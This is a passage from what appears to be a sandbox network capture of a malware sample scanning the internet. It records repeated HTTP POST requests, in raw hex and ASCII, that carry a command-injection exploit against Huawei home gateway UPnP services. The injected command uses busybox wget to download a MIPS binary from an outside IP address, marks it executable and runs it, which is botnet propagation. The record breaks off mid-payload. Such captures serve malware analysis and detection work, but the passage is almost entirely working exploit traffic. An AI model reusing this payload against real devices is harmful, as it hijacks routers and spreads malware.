52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:27.132572889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	36906	156.224.8.108	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:33.253114939 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:34.819951057 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:36.643476009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:40.291013002 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:47.714027882 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:02.303962946 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:33.279541016 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	46088	94.122.20.206	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:41.593004942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo 